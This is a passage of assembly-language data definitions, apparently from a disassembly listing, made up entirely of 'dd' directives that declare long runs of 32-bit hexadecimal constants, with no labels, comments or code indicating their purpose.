		dd 6F13A6E2h, 17648AB4h, 0A79E69C0h, 84C85E46h,	44E6F44Ch
		dd 3FEDF165h, 0A6C47659h, 0CA36BA2Ch, 0BC6B7E54h, 849339A0h
		dd 420572DDh, 2FC15C73h, 0CB23AB79h, 0C6A5C5C6h, 0A4DB71FBh
		dd 3C050290h, 82FE41FDh, 0BAE8F0E9h, 0E3A92EDEh, 4EF5EF7Bh
		dd 858E8AF6h, 83EA728Fh, 68455450h, 63E6F96Dh, 0D147C36Fh
		dd 0FCFF1FADh, 7B45BC03h, 0FDA33F64h, 0A22B0A9Ah, 9ADD40Bh
		dd 0D922077Ah, 8C882327h, 0E5635D19h, 0FC9A7A4h, 7B635099h
		dd 0AD139B31h, 3287DCA7h, 477E2311h, 0AFFF2134h, 5D4CE9D4h
		dd 11FF6A40h, 0AFBC6A41h, 6EE6DA48h, 24DD27F5h,	0FACF15FFh
		dd 89E29256h, 0A3EA45C4h, 0D44D7E27h, 7C73CC5Bh, 678C05E8h
		dd 54038B86h, 0B07E5C88h, 0FC0860D2h, 0A5CC2E61h, 6A135FF3h
		dd 5B9ED5A5h, 0DB68AB91h, 195CD405h, 0F698F08Bh, 0EA8CAB21h
		dd 0E833302Dh, 752C6467h, 0F6F2733Ch, 0B2EBC0EEh, 112A88BDh
		dd 0A66781FFh, 26CBA456h, 0D32DEB8Fh, 0A3200130h, 1E67B3A6h
		dd 0F191FBEDh, 0EC3AB11Fh, 377DD7B1h, 82C214F8h, 5D64F4Dh
		dd 0A8DEA02Ah, 0F8D19BB9h, 24186C48h, 0BD441BCh, 0ADE6E478h
		dd 0CA1257ADh, 0F6BE26BBh, 75A74F9Bh, 26D8BDFDh, 0F01C6995h
		dd 3A01809h, 0EE2AAFABh, 7D5EFF1Eh, 0E9FDD186h,	0F016B229h
		dd 0F6C3C1BBh, 58CB0BB6h, 49269604h, 1439D021h,	0B71B743Dh
		dd 2AC283A5h, 0FC3F2211h, 18C1F58Dh, 0DEE6513Dh, 0F3730ABEh
		dd 0D31B2D80h, 6EE1C2F7h, 6333638Eh, 1E036834h,	0F7EC8F61h
		dd 0F2287DEEh, 503FC2DDh, 0E9670D90h, 60000CF2h, 5F5753A5h
		dd 71A14178h, 8311FA9h,	2695DDAh, 3BDC93C0h, 68BEC971h
		dd 8A7D99Ah, 2A69BB59h,	406F3442h, 65738ED5h, 0B50274A6h
		dd 2851EFBh, 3509C96Eh,	2F0D39A3h, 5E25B174h, 38BCCD0Dh
		dd 4E9421CDh, 49787559h, 0A0A36DF3h, 0B9CDB4CDh, 0D03AC5DAh
		dd 6A14EA17h, 5F2FE6CAh, 4F6E5BC2h, 80047C6Fh, 0AC422D64h
		dd 989BD8C2h, 0FC7EC0Dh, 32AECAFDh, 2DDB13F1h, 3C5E7045h
		dd 0EF434821h, 1C015B5Ch, 77F2A2EFh, 0C6FED8A9h, 26301749h
		dd 362853CFh, 8057BF03h, 56ABFF6Dh, 7B39B810h, 1ADC9111h
		dd 2087CAF7h, 0E5F6ACF9h, 0BCDB454Dh, 0F6E901EFh, 0B9D4533h
		dd 2313ABCh, 0F899EEEh,	0B1439ACAh, 0EEE876D5h,	445B881Bh
		dd 72CB3069h, 342D3AFCh, 0A99A17D1h, 4483A1BDh,	14236A73h
		dd 26642528h, 4A84AF1Bh, 69FB48A9h, 373D6FF4h, 8AA5D36h
		dd 3398076Fh, 574735CEh, 0B437943Bh, 0D4F77CD4h, 0A60A94DFh
		dd 0D047EF38h, 0BCB0BCDBh, 0E8B7F244h, 1302385Ah, 944C563Ah
		dd 0CBF78C25h, 7C6C6FADh, 604EC134h, 0AEA8EDDBh, 0A150204Fh
		dd 98B793B2h, 5F70594Ah, 0F32A920Bh, 3A627CDAh,	6798FCB8h
		dd 0CC040843h, 854C6F29h, 3876CC20h, 0A83F927Ch, 72A000C7h
		dd 0F02A81E2h, 3BD90AB7h, 5BD5F5D8h, 0AD17221h,	0C888E24Ah
		dd 9DD04307h, 59914D23h, 0D47F14B6h, 2FFD7DE6h,	8FFEC3A4h
		dd 59BE3242h, 0BE6AE949h, 7E464CB0h, 0D93D3A31h, 5F0538AAh
		dd 23C40E65h, 0C10B1A0Fh, 708E4A40h, 0ACBE3B3Bh, 27C55EA5h
		dd 0A59F28A5h, 0C6A05673h, 0A98A5194h, 60A6BC1Fh, 0C09E1D5Ah
		dd 853D18CDh, 36348D7Fh, 42A8D741h, 0C074EB8Ch,	82FFEE4Bh
		dd 80EA8D97h, 2CB78C99h, 0AD14DDB6h, 0EB4F7C29h, 148BEFB7h
		dd 7E31D4E6h, 55032F63h, 3BD07E5Bh, 0AAE681C0h,	8AE7BA9Fh
		dd 7A318614h, 0BDF87424h, 7ECB9102h, 2ABC74F4h,	0D077C1C6h
		dd 9F3D7537h, 8ABD0AB5h, 2BB13750h, 0A208C49Fh,	0EE19E20Dh
		dd 0F4CAC891h, 0E0CDF4D9h, 0B476A989h, 744791CEh, 0FC1CA3AFh
		dd 2783AD7Dh, 83B20839h, 1E9D47C7h, 8E80A207h, 0AD9E3A6Eh
		dd 84986727h, 89E5669h,	0CAB825F7h, 0ECC370Ch, 55175834h
		dd 0A43B28D6h, 78EEFADBh, 0BC922095h, 8167A162h, 0C2920B64h
		dd 6942ABC3h, 823BFB1Ah, 0DFC3E8FBh, 0AAA4E56Bh, 146807F7h
		dd 0B3BA5E7h, 427EFABh,	38D43F13h, 0FD5C7D1Bh, 0FCBCF80h
		dd 0CE60D47Fh, 2842E95Bh, 27839D2Eh, 7744EBE0h,	0F2D9DCF5h
		dd 0BFCBE13Eh, 536B2638h, 6B99F2BEh, 6F6E5B30h,	41FA61F1h
		dd 0A8417446h, 0B06DA294h, 0E6203752h, 2EE19F36h, 3A7E2091h
		dd 4F304E7h, 0A73334A8h, 0E03156CFh, 51D070CDh,	0AA1F442Ch
		dd 0F6550470h, 4C658FA3h, 3F506C59h, 0C77873B7h, 7FF2A00Dh
		dd 0AA6E1B4Fh, 7CE69E7h, 0EA1C6065h, 859FA28Ah,	0BD53AC8Ah
		dd 0CAE6C0F5h, 0DF6C714Bh, 0C78CE0E3h, 0AAB68D47h, 0D59A1ADFh
		dd 0F2D9ECD6h, 0B997925h, 3E88F8EBh, 17D07963h,	53C7B78Eh
		dd 3747EA56h, 7B0CD634h, 0C51E1721h, 0CEC3A121h, 0B7F16F87h
		dd 0BD5D8B28h, 2F7B8322h, 0CFAAEF0Ah, 2DB63266h, 46BD936Fh
		dd 0B09BC340h, 5A1CF6F9h, 0B281667Eh, 0DC39D617h, 74EDC8AEh
		dd 16052517h, 468D11E7h, 34FE2293h, 4D469A17h, 721B35Eh
		dd 5DF61E9Dh, 557E7AC2h, 0BB3D2A34h, 0C7762A96h, 0C75C8A74h
		dd 33182B74h, 0A3AFAF5Fh, 77FA43D1h, 359CADB9h,	0FE1D3E1h
		dd 85CCDE61h, 5FEE78F1h, 2781F27Dh, 0EB129BF5h,	3BD5FAEDh
		dd 6F1A24Fh, 0EFA369CEh, 71F0796Ah, 62332531h, 18344B29h
		dd 0A91BB6AAh, 53069925h, 0C6429F8Bh, 5C421889h, 0B371F94Ah
		dd 0DC236ED2h, 0AED622C1h, 86F0B121h, 78A271BFh, 0A4DBAC06h
		dd 85CFB2CDh, 0D657A2A2h, 419B4701h, 0CEE0995h,	7491F55Ah
		dd 49D2C0F4h, 319AFA84h, 927941B7h, 0C2622633h,	758D863h
		dd 0E5236F07h, 704C6A80h, 32B26101h, 0FA8DECFCh, 0FE2CB08Eh
		dd 92AC42E6h, 0F450D629h, 48EEFB20h, 1F88F99Eh,	0F047D8B7h
		dd 0AE19C78Fh, 0EE200573h, 60ED3A0Ch, 70CB04F0h, 0D3845FBDh
		dd 3FA57CE9h, 61A344F5h, 0D7AF49B1h, 175BDBF2h,	0A584AF0Bh
		dd 58357252h, 67890525h, 0A974F184h, 0FD6215ADh, 1F2EADCDh
		dd 6C877519h, 9ECBDBD7h, 0F022F8D1h, 1D1DDECh, 0CA7A2DD0h
		dd 791609D5h, 99BFF32Bh, 0EEF2F26Bh, 93062F8Bh,	2FF5DCFFh
		dd 0C1FBA2D1h, 5B09C19Ah, 0BC859458h, 0A1057734h, 0B50302C3h
		dd 747A0E84h, 5D706285h, 0A980CC62h, 74CFCEA8h,	3AEC339Eh
		dd 35D34F55h, 0BFFFAB95h, 3AA1E84Bh, 9E83B050h,	0A6A318EDh
		dd 81B5F74Ch, 265EE588h, 304492ECh, 0CACC0874h,	45672B1Bh
		dd 0EB7E111Ah, 0A8D9B4CDh, 0DA3C2F0Bh, 98D5DA58h, 85D47F89h
		dd 0EB8AFD83h, 0BF8AACF1h, 0E74EAB13h, 6EA7AB2h, 0F430D701h
		dd 954149C8h, 17B3A458h, 296A731h, 1DEEDAA6h, 34C8F7A8h
		dd 34D5139h, 8A1DA64h, 0B15B98D2h, 0C69CE978h, 0CECB5491h
		dd 0CAC94066h, 305CD2DBh, 0A044925h, 0C9AAEFFDh, 4F13C0Fh
		dd 0AD754454h, 9AD1A419h
		dd 7B8264ADh, 7AB20FAFh, 0F04652AAh, 0FFB4AA4h,	6439B4Ch
		dd 0E1B66D05h, 0EFFD7FC3h, 0AC3DD320h, 0E28947F0h, 0A8F8B82Dh
		dd 54E94DC5h, 794C8B5Ch, 0DC718FC6h, 1131ACD2h,	51F1486Dh
		dd 0C2B83ADEh, 0FF0B2C4h, 0CD7104F3h, 0CDFE2887h, 97883B16h
		dd 0DEAECD61h, 0D065A5D9h, 272C2D6Bh, 936F6F35h, 964AA33Ch
		dd 0F219B4C2h, 0AE870B28h, 0CC8E68DEh, 1FB2BED9h, 0A31D4950h
		dd 0EF6D3D12h, 9B34084Fh, 9493329Dh, 0AE619C2Ah, 9CB6B450h
		dd 0A9D23627h, 5CAA9789h, 89BF8A17h, 71049EEDh,	97EBB7A0h
		dd 4DF7E6D8h, 83682CD9h, 0BA4CFA52h, 2E2BE356h,	3D98F8A2h
		dd 3B806735h, 5587D9EDh, 5D378556h, 50271417h, 197887A8h
		dd 0DF86CAB8h, 1787C2DDh, 3803989Ch, 3882EF7h, 8124E766h
		dd 9903F9E2h, 5988AC09h, 890A6420h, 9D6E8D20h, 79FC47D3h
		dd 0C7C54F15h, 292D7E95h, 607F9608h, 0AF07D6BCh, 73A80DD9h
		dd 0D4A191CEh, 0AEA6B90Ch, 577BD9A2h, 17F750C0h, 9C146964h
		dd 0B57BD9A7h, 630611BDh, 8F39D52Eh, 8D12C8A2h,	9670CF0Bh
		dd 3CF99062h, 54FBF22Eh, 4D2F4ED4h, 0E729B119h,	5EB7D6E5h
		dd 16ECB22Ch, 3D9575A0h, 664B8FFFh, 4964A3C5h, 0CD2299F1h
		dd 0C8A1B9F5h, 0DB0150Ch, 923453F2h, 0BEAA5BFCh, 0AF770188h
		dd 9AE9B91Ch, 92FC7441h, 4ABD9566h, 0CC105577h,	439B00F4h
		dd 0C1DD01FCh, 4B982122h, 1E0EC581h, 5715359Eh,	0A2394B84h
		dd 28A103AAh, 0EE56E69Dh, 705133BCh, 4BD1A0EBh,	68A41CECh
		dd 2520E5CDh, 1D84DDB0h, 7B1FE131h, 9B5D2589h, 0AC16DCCCh
		dd 2296BA9h, 1617D2C4h,	210DCAF9h, 5309E048h, 0F53BCEC5h
		dd 87BE3A92h, 0A1C60399h, 84DC0FEDh, 3CE3BBA2h,	0CFCDB12h
		dd 6FFC8E3h, 0FF639B91h, 8EA43D6Ch, 0AC7E998Fh,	0E55E1DEAh
		dd 0C74B6E7Ah, 0C9EF014Ah, 47D232C2h, 4848F4Eh,	10BB6C4Dh
		dd 0D6D25A27h, 6954554Fh, 5DA092AFh, 9DF0DD31h,	0E3AAF99Dh
		dd 98C41EBBh, 0FBD71266h, 5F18DA6Bh, 98A79DF1h,	0F1C56979h
		dd 75890232h, 8826C469h, 0F2CA8E99h, 0C7170479h, 995C10BAh
		dd 246676F0h, 678E4B8Eh, 0BFD89584h, 0CF73E302h, 0C4A8C9D2h
		dd 0EC5218AFh, 0C1BC1D1Dh, 0B9DE8A75h, 0C7AA20C4h, 4A049297h
		dd 0F49624C6h, 4B36837Bh, 9F1CAD0Ch, 0B84B25EAh, 4DC47597h
		dd 51D0D5F4h, 3B7E1C2Ah, 14F467FEh, 289A870Bh, 3006255Ah
		dd 7B654219h, 33790813h, 39E9DAE8h, 0CD69778h, 0CA18B116h
		dd 0BDF128A7h, 0B146C3A6h, 1DB93714h, 3666818Ah, 0CB5D8799h
		dd 22172B94h, 0C9810F9Eh, 0F729BA46h, 3E5D8958h, 0CAE3DA51h
		dd 5BA5A9F7h, 43C9270Bh, 410C4C6Dh, 23C8683h, 841628C6h
		dd 53531AC6h, 63F614C5h, 0F5A83135h, 62AD299Ch,	0DDC9E0BAh
		dd 3831BB37h, 0A5FE6B47h, 1BFAB031h, 8C63C75Dh,	0BC3E71C7h
		dd 371748B9h, 8F620D72h, 0B6258FBFh, 3A78405Fh,	0FB00EC8Ch
		dd 0E654635Ch, 56FB1E09h, 49761959h, 0D9B1922Eh, 0B161D576h
		dd 0D12DF4E9h, 222DD99Dh, 927A78ADh, 7AFED1C2h,	98D31DC5h
		dd 381AC553h, 4F2A9CA8h, 105EBD8Eh, 0C5625244h,	1A212D98h
		dd 93E8FE02h, 17F2DA8Ch, 0FE8D9ED4h, 3F00D27Bh,	1843C9B4h
		dd 82009F87h, 6920B82Ch, 4083E1CAh, 7C416821h, 4FC1A868h
		dd 971B8F36h, 0C6A7634Ah, 0F8D61300h, 82BDAB34h, 0EE666138h
		dd 6D1DFE56h, 63A7E0h, 9109498h, 36F48494h, 9F24EEE0h
		dd 0A54F4705h, 78BA001Dh, 72FD8F8Ah, 0C6302BABh, 1E422340h
		dd 0A8632CEEh, 0BCD7D1C0h, 0A6660D5Ch, 2E3A3C92h, 8D6483B9h
		dd 0BBC0B793h, 0DB257106h, 106ABA54h, 45C0130Fh, 53AF7103h
		dd 7B19B9Bh, 0FEA28D10h, 0A6D105AFh, 684015A2h,	49441FC1h
		dd 0C9519E82h, 6782D822h, 705FCFEh, 7015C04Ah, 0DFC27138h
		dd 0B1AB4506h, 0F9668F8Dh, 3AD24CD3h, 0CC4C12CFh, 0A9B67DBAh
		dd 0F35A8D73h, 9EB953D1h, 21D1D8FAh, 44914838h,	4B7E2212h
		dd 42B80794h, 49B18EDh,	6406262Ch, 3C0B8F0Fh, 3E88A4F3h
		dd 7E36CBAAh, 7944274Ah, 0D3B08E8h, 0E67E703Dh,	0D1B218ECh
		dd 472FDD8Dh, 0CE454135h, 769E49C1h, 980427DFh,	0D344C20Bh
		dd 0F45DD6D3h, 0DC517CB1h, 85481AD9h, 0FAA4DCA0h, 84063059h
		dd 4D8B831Fh, 0C09424Ch, 0E309FEF1h, 123C1843h,	0BFD83191h
		dd 0ED180CDDh, 0F99F5127h, 2D2A86F4h, 0B9C91D0Eh, 0C324DB0h
		dd 768347E4h, 32160C9Bh, 3924E1A4h, 0DB7FA4F2h,	0EE4DCD0h
		dd 0DFFF60Fh, 0FD1771D2h, 0D7AB30B6h, 4BFFF8D4h, 0D6C94FFBh
		dd 0D250A2C5h, 0C2E62452h, 0CB217D6Dh, 37E73F2h, 9E4230E3h
		dd 6FD3E251h, 49A84A18h, 697770F8h, 0FD36777Dh,	0DC2B98E5h
		dd 0FB0945D6h, 22C83D42h, 194DDC66h, 29E24628h,	0B5AAFC61h
		dd 0D40009E6h, 91089BF0h, 0F41B302Ch, 21AAB398h, 0A579EB9Fh
		dd 0FD9EDE54h, 4238568Ch, 8A89A10h, 0BB603D65h,	91820202h
		dd 29CEDDA4h, 0CF71E518h, 0C40CCD78h, 9E78D617h, 0FD1EB9A4h
		dd 8FF8BBDDh, 64EBAABEh, 0ADD0BD45h, 0B314B70Bh, 844D5D8Ah
		dd 77B79992h, 324CAD91h, 0DCBA5F03h, 6028B82Bh,	1B75056Bh
		dd 0EFD05784h, 0F5A4ABCFh, 0FBBA2FD9h, 0DB4FB8A6h, 8DBC02A7h
		dd 0E5AE1883h, 0A8E05FCEh, 5A43C0A9h, 6D8FED74h, 0B003365Eh
		dd 0F61D64E7h, 18F30D71h, 6644126Bh, 0AEA8556Dh, 0DF50ABE8h
		dd 1CD6276h, 0DD29B482h, 0D52957Bh, 0A1FD685Fh,	0D06C53BDh
		dd 51494E14h, 0DCC6CB9Ch, 75C6A72Dh, 3403F50Fh,	5071265Eh
		dd 15D968D5h, 0F0F88C9Ch, 0E15EE6FFh, 507BB662h, 9D4C6E1Dh
		dd 186230B7h, 50EE3B29h, 0DA6ED4E7h, 86C5FA42h,	7E7B245h
		dd 9E90C5CAh, 24BFC1F6h, 0A3E514ABh, 0E4608D29h, 4D80DF04h
		dd 0FD44D300h, 774601EDh, 0E01D7BDCh, 0B5BA7F64h, 0E017CA69h
		dd 15579791h, 757CBDA0h, 0AB8732DCh, 89D1BF7h, 37E44F3Ch
		dd 0F1B45ABFh, 97F2DFDDh, 1C9A2989h, 7AE3CCFCh,	0D41D6221h
		dd 0DE272CA1h, 6A88458Bh, 1D9C47Bh, 0E0ACD037h,	0A7ED0C6Dh
		dd 7557A9E3h, 0B8418E9Eh, 0B8435586h, 202699BCh, 7BF4D80Fh
		dd 0D5D08F70h, 10178728h, 770A6B80h, 0C90DEB66h, 0E88B3D36h
		dd 6E0EDF88h, 37EF01DAh, 7196EABDh, 1F1AB877h, 0E7DD7E81h
		dd 208FC3B9h, 0C2C445B9h, 15DAEC40h, 6603DC55h,	0EC6577D6h
		dd 558BB27Eh, 0E6B9A2C7h, 5786F774h, 447654FDh,	7A7ADAB2h
		dd 7EDA6324h, 0BE2AFC12h, 46302980h, 1CD0DEECh,	57CF2E85h
		dd 4AFCBDBDh, 1D4611C8h, 0ECCA3AD4h, 0BDE35A3Dh, 0C1D3F99Eh
		dd 0AD8D6FF0h, 0B248C05Ch, 5C07418Eh, 5572EF27h, 325252A4h
		dd 0CD8B833Eh, 5B2B3B2Eh, 9EB76AE3h, 0D2F8D35Bh, 832F6C09h
		dd 9ADBC689h, 287CC5FAh, 0ED1743F6h, 6AEEF8BFh,	8E2AEDACh
		dd 0D21B0765h, 8D98431Dh, 4CC4F49h, 0DF13C8B5h,	0FB04D722h
		dd 2D7C3F9Ch, 4B9DF879h, 7AE7C4CBh, 15E0707Bh, 317911C9h
		dd 0D775E510h, 0FDF0C48Fh, 0F8B8D298h, 63E2C4B3h, 4EA3803Ch
		dd 1E9CA511h, 0F25352FEh, 0E87107F2h, 8874DEA1h, 7AF2E5CFh
		dd 6222654Fh, 0F80446B0h, 0E63A2C2Ah, 0C05153E1h, 43CF73D6h
		dd 0D2F8B37h, 0C38D722h, 6379E2CFh, 0CBDB4D25h,	633B6E8h
		dd 6D094734h, 0FC5F9B81h, 40E3D527h, 0EB5DD58h,	0B6B68D5Bh
		dd 219880ECh, 0AC0A544Dh, 0F5F43AA6h, 93A37488h, 0EC519067h
		dd 942A4456h, 0EBACF716h, 76B8C1FFh, 0E310177Eh, 0C4FFBA15h
		dd 551DCFDDh, 0C5380A86h, 0A531BA27h, 0A7C9F05Bh, 569D2103h
		dd 56C4A066h, 0D3D1A3D2h
		dd 3F0F2986h, 6B2F2796h, 0F79E755Fh, 0EFED72CCh, 0B56DAF7Fh
		dd 0C0530E8Fh, 506852B1h, 0C57EA380h, 0D3B87FE7h, 0A64FE790h
		dd 79D9EA49h, 0E5856BEEh, 0E6C0C1A9h, 8B43BBB0h, 36EC6FA3h
		dd 340068B6h, 79B6BFE8h, 4EB18BE0h, 6AF5B206h, 2CDDEC7Ch
		dd 0C331D410h, 901CEB88h, 70C62178h, 0EF357731h, 0ABCF1541h
		dd 0DF3D977Ah, 0C132C207h, 153A1B93h, 0BCA92127h, 353C61F2h
		dd 0B897C5D8h, 0F423B887h, 505F4E61h, 87D3083h,	18CD4C7Ah
		dd 135986D1h, 0A8B59A2Eh, 72A5EAD5h, 0A5347186h, 7543F3Eh
		dd 9AF45B85h, 2863031Eh, 13F2B76Fh, 0BE4796CDh,	0B48D8377h
		dd 4FA659F0h, 0E3727C0Fh, 231E5BEBh, 7B22A529h,	0E8E58687h
		dd 0B8E8D47Eh, 993536FEh, 0A0CC937Eh, 91754CFEh, 0DF5352C9h
		dd 0C35A2EA2h, 439BF41Ch, 1AC85F37h, 44C910Dh, 0A10ACB58h
		dd 0C5FA72D8h, 0D6AB2D05h, 0AEC6CB84h, 0ACAADE18h, 6557D5F7h
		dd 271A8BE7h, 0B232D8E2h, 55489D34h, 1B8C32CEh,	5D23FAA5h
		dd 215A7B4Ah, 7DE03AF0h, 4567FEFBh, 5B2B4FBEh, 746A51DCh
		dd 38D1C587h, 3ABE8ED0h, 9DE88056h, 8C63FB8Ah, 290F66F9h
		dd 932AEA9Ah, 54FA435Eh, 0C629F183h, 0DED661AAh, 2250E9Ch
		dd 0A344CBF8h, 9E4240CCh, 66251900h, 0A811BD5Eh, 0EA48DF0h
		dd 67E05342h, 0DF6F7E3Bh, 47769FE9h, 0C6910AF8h, 76604812h
		dd 71DB6481h, 46B19F46h, 32079ECFh, 5B78182h, 0A4DE74D9h
		dd 0D1D7D69Fh, 0CC039EECh, 1CE8F648h, 0D2CE9294h, 0CA8C1E7Ch
		dd 0B3807208h, 113A403Ah, 73A4AC7Fh, 4F8E04AAh,	0D240739Eh
		dd 8DC604E5h, 0BD1D9510h, 2748929Bh, 9F60D953h,	7F4DC5F1h
		dd 777DFFA8h, 44F55CEEh, 0FF4F0B4Bh, 6DEAD84Fh,	49440849h
		dd 0E8AD5218h, 0FF2B009h, 8A36AAE0h, 4AD4DFB2h,	1DD11BA4h
		dd 95A9AF11h, 0D9D94F0Dh, 76E1019Bh, 2EFB47E5h,	2B3686Ah
		dd 10243FBCh, 8A24C243h, 7A445546h, 0A21A092Fh,	2E5A6940h
		dd 4DCA0627h, 0F9F522CEh, 0A8F6CB8Eh, 63420ECCh, 482716FDh
		dd 927F994Ch, 4AAB9203h, 0DCD56CDh, 0A8FEBFBAh,	2F3C31D3h
		dd 0F9652D0h, 0A2E21CACh, 0D2776BEAh, 3E9C9D2Eh, 0FD520E54h
		dd 6CCBCB5Bh, 75C319C3h, 6DEA5135h, 6E14EBFAh, 3D28D0ECh
		dd 19EC7F85h, 0BB3883C9h, 0A95B5ADDh, 819B08A9h, 39E2D3AFh
		dd 9B865716h, 0C6E98A96h, 958A04FEh, 0DF41B2ACh, 9573E008h
		dd 3160C79Ch, 5D13DCDh,	4C6DA1B5h, 0B87AEB24h, 0EA2DDD8Eh
		dd 864E20D0h, 2F64CA02h, 0EA47CE65h, 0CAA9E3E2h, 59ADF130h
		dd 1827E46Eh, 6367F1E7h, 30BE326Eh, 49615DCEh, 7AB16886h
		dd 0A5FD0E9Ah, 725D101Eh, 5C72EDD0h, 60716475h,	0D2E97023h
		dd 3AC097CFh, 0B637E7F3h, 0C2A249FAh, 60340251h, 66C01BA5h
		dd 61ACA298h, 727328D9h, 0C5122248h, 1B816606h,	68B5C02h
		dd 7BA2354Bh, 987C3014h, 0D5C61CE3h, 0A3EF4011h, 7E1915E0h
		dd 310A6DD7h, 0E19B8100h, 74576EC3h, 0A6784FD6h, 95483083h
		dd 2B355F83h, 5461DCD0h, 5EDD8A03h, 0D5FC44F5h,	0CBA6F1F1h
		dd 44FB69E4h, 142CB511h, 6870B4DFh, 84ED0EE7h, 0E2E450CFh
		dd 47130FBFh, 129E909Fh, 79BC6B1Eh, 6B251495h, 0C1CA8C85h
		dd 9F59BF95h, 9973AB39h, 60AE0538h, 53E67D0Fh, 797B96FBh
		dd 228D2F4Fh, 0BBFFDEDDh, 0F03E7975h, 3D12A3C3h, 1F11B7DCh
		dd 580BF1DEh, 87F80BD3h, 0FF3FD011h, 966AC382h,	0A4F7E4F6h
		dd 0A8FD2066h, 10807632h, 0CA6B5083h, 2E9E4B42h, 21ACE69Ch
		dd 95559E8h, 932E7451h,	3423C928h, 8E73A5CDh, 2586AFB3h
		dd 15D2167Ah, 0CE5F107Bh, 30ADAC11h, 0EAB34387h, 3011881Dh
		dd 0A73F01B6h, 95D620Bh, 5D4AF296h, 0D1A47DB4h,	6E091963h
		dd 97DE8170h, 7D22DB02h, 0EEC58E08h, 808F0053h,	0BD0EA2C8h
		dd 486CD367h, 723DCB29h, 30343C3h, 83D63421h, 8E98B1CDh
		dd 0B48543FCh, 2728F50Eh, 0A54E7946h, 4BD3C12Bh, 21ED700Bh
		dd 0CBA5CFF3h, 2D266934h, 51275379h, 60A3F448h,	0E05AA352h
		dd 5AA54CFFh, 51CEE4A2h, 7D18DFADh, 0F181FA0Bh,	0BE89F76h
		dd 9B32B8C2h, 3783766Fh, 0CF484AE8h, 2AEC64ACh,	18E8C9D7h
		dd 0AEA3F4F7h, 5701748Ch, 0DA77FB12h, 4C2381C4h, 0A1A0D741h
		dd 0EEF37C41h, 4194D178h, 94EA26AFh, 69AD5771h,	0E223A6DCh
		dd 2140847Bh, 95EE5619h, 941AF9C9h, 79929434h, 0A1D4ECD4h
		dd 0E82F3724h, 0C270EF12h, 0ECDD07AAh, 44B8FC6Fh, 8F95C315h
		dd 57DEA7E7h, 0CA9ED51Dh, 0E0CDB2DFh, 0DEFBB2BEh, 0E5AB5ED8h
		dd 0C74B2E02h, 0C97AFD8Ch, 9165CBF5h, 628E372Ch, 7E60929Ah
		dd 5557C6D0h, 0EC0B0CD4h, 0C2EA2754h, 0E3D77FABh, 899125D2h
		dd 0F0A7FB8Eh, 0CC30004Ah, 0FC8B7264h, 8C184995h, 6DDBA948h
		dd 0AB7E74Ah, 6FAD650Ch, 0CB052A63h, 0C940853Ah, 0EF3BE661h
		dd 9124A6DAh, 0F755A65Dh, 0C1DF77E7h, 0B890AAB0h, 9372590Ch
		dd 0AB65A332h, 6C4E1A66h, 59DE9964h, 88937229h,	7F2C4B49h
		dd 0CEB86AB0h, 364D43D1h, 9E5AC260h, 0D2BC117Fh, 341FBAC0h
		dd 0BB1C3A66h, 0EF32900Bh, 0A0D7945h, 92B2B4AEh, 0E37B0178h
		dd 60626FDCh, 7E2CCF5Eh, 0C4CBF55Ah, 37A7185Ah,	9BF300CEh
		dd 64562F23h, 5754998Ch, 0E956317h, 0B17A1E85h,	1EB114DDh
		dd 0DE013DF1h, 7CB04D86h, 9D053C6Ch, 92E1640Dh,	18084286h
		dd 29113193h, 0AB55B1ADh, 0AFDE492Ah, 0E8C03BFh, 256D9393h
		dd 0D23BDF91h, 0E3F447D0h, 0A3512481h, 7A832C04h, 75914F7Fh
		dd 0EC481E0Ch, 5F536847h, 68FDEDE8h, 0A1ED7CB7h, 575B5EC0h
		dd 0C5CB19C3h, 2DC2D829h, 0BAD664D8h, 3702B62Ch, 3DE9BB85h
		dd 0EBEAC21h, 0D6DE9831h, 0CEB55800h, 543B67ADh, 7EAA7719h
		dd 0F3B50E56h, 7D783D8Fh, 8DEADAF3h, 11A71C32h,	28E4DAE5h
		dd 0C5E0021Ch, 3E07F6CCh, 8F484860h, 944603FDh,	0C4933904h
		dd 80EBE1A0h, 0B1A4939Dh, 9ECCBA82h, 0A2558C56h, 0FA76ECB9h
		dd 419C6611h, 0F17EA93Fh, 0EC4BE5F4h, 0CC5367D9h, 0A709F25Bh
		dd 4FE11D8Eh, 2ED9A14Bh, 0CCF95701h, 0ACDE90A3h, 9BEF5C07h
		dd 9A5C4459h, 0CDCD93FEh, 0D7B3C93h, 0A919E694h, 8A7E44A5h
		dd 0CD72E69Ch, 62D5E8FDh, 0CEDC25BDh, 79C8C90Ch, 706BF89Bh
		dd 0BD03B437h, 0BFCB9250h, 6AED62C3h, 88FD4260h, 687F119Dh
		dd 0AD717994h, 1F74F8BAh, 7C552A06h, 619B5233h,	592F2BA1h
		dd 657DAE57h, 0CA8C432h, 19C1F477h, 0BAE92FBBh,	784C92B1h
		dd 33129E16h, 0F04CD884h, 0F720E7C2h, 7CF2CE48h, 6D4100EFh
		dd 0A43A43Fh, 3659FEC9h, 5CF8BB21h, 0BEFFD71Ah,	8C482457h
		dd 545D6A58h, 0CE8BCD8h, 66C514EFh, 48145FA0h, 551F9526h
		dd 7BE57A41h, 919897CBh, 96ADF05h, 5419F97Ch, 0C064E44Fh
		dd 0DF627E08h, 1FA95052h, 7586D88Eh, 906A9EB9h,	79579055h
		dd 0AD665716h, 809B867Ch, 23938696h, 0CE1AE83h,	11EF34F9h
		dd 3802BCADh, 13BB5764h, 5FABC14Bh, 0A8558762h,	845A3518h
		dd 0F94C7F1h, 3D0D8EC4h, 0E4966306h, 2E146012h,	1E2BE808h
		dd 0B7AEE8Bh, 0FDC72C23h, 4C1026B9h, 4A683A44h,	48FC359Ch
		dd 0C9299CCBh, 673A098Bh, 0BB0B92Bh, 0FB44CEC7h, 0AD68468Eh
		dd 951718D7h, 57DCA16Dh, 6254A785h, 64B8A5F0h, 0DFF9BEDAh
		dd 0CC726B47h, 5A51BA21h, 39EBCFAh, 75B9D9Fh, 1415437Eh
		dd 4ECCD765h, 505C0EC0h, 6EB51FEFh, 6CCB47CAh, 95824642h
		dd 0ED79C09Fh, 0D1E791Dh, 0A3F10677h, 40CD4E34h, 186CBD46h
		dd 7BE833CBh, 28458F6Eh
		dd 602238DBh, 0D0766D93h, 0B930A8CAh, 4BEC408Fh, 11E31D38h
		dd 33356DD8h, 0D1BAE083h, 1CD8B29Ch, 408F6667h,	8B17CF7Dh
		dd 0CBD29454h, 5C203996h, 0A1A90A01h, 8E858472h, 69DAE7CFh
		dd 8425A76Ch, 265D8556h, 978712Fh, 3C657BA5h, 0F48416A4h
		dd 4CB4629Dh, 2090E050h, 0B787D213h, 0ACC226B2h, 7E8E2B52h
		dd 0FFEFF4F3h, 7DEFB477h, 264D5CD2h, 60038D98h,	0F050AF9Ah
